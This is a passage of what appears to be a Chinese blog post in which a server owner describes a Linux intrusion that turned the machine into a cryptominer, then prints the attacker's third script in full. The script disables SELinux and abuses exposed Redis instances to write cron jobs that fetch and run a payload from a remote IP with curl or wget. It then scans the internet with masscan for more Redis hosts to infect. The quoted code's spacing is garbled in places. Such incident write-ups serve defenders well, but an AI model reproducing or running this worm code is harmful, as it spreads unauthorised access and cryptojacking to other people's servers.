Linux被入侵，服务器变“矿机”(4)

大概看了下 Readme 之后，我也没有细究，继续下载第三个脚本：

setenforce 02> /dev/null

ulimit -n 50000

ulimit -u 50000

sleep 1

iptables -I INPUT 1-p tcp --dport 6379-j DROP 2> /dev/null

iptables -I INPUT 1-p tcp --dport 6379-s 127.0. 0. 1-j ACCEPT 2> /dev/null

sleep 1

rm -rf .dat .shard .ranges .lan 2> /dev/null

sleep 1

echo 'config set dbfilename "backup.db"'> .dat

echo 'save'>> .dat

echo 'flushall'>> .dat

echo 'set backup1 "

*/2 * * * * curl -fsSL http://159.89.190.243/ash.php | sh

"'>> .dat

echo 'set backup2 "

*/3 * * * * wget -q -O- http://159.89.190.243/ash.php | sh

"'>> .dat

echo 'set backup3 "

*/4 * * * * curl -fsSL http://159.89.190.243/ash.php | sh

"'>> .dat

echo 'set backup4 "

*/5 * * * * wget -q -O- http://159.89.190.243/ash.php | sh

"'>> .dat

echo 'config set dir "/var/spool/cron/"'>> .dat

echo 'config set dbfilename "root"'>> .dat

echo 'save'>> .dat

echo 'config set dir "/var/spool/cron/crontabs"'>> .dat

echo 'save'>> .dat

sleep 1

masscan --max-rate 10000-p6379, 6380--shard $( seq 122000| sort -R |head -n1 )/ 22000--exclude 255.255. 255.2550. 0. 0. 0/ 02> /dev/null| awk '{print $6, substr($4, 1, length($4)-4)}' |sort | uniq > .shard

sleep 1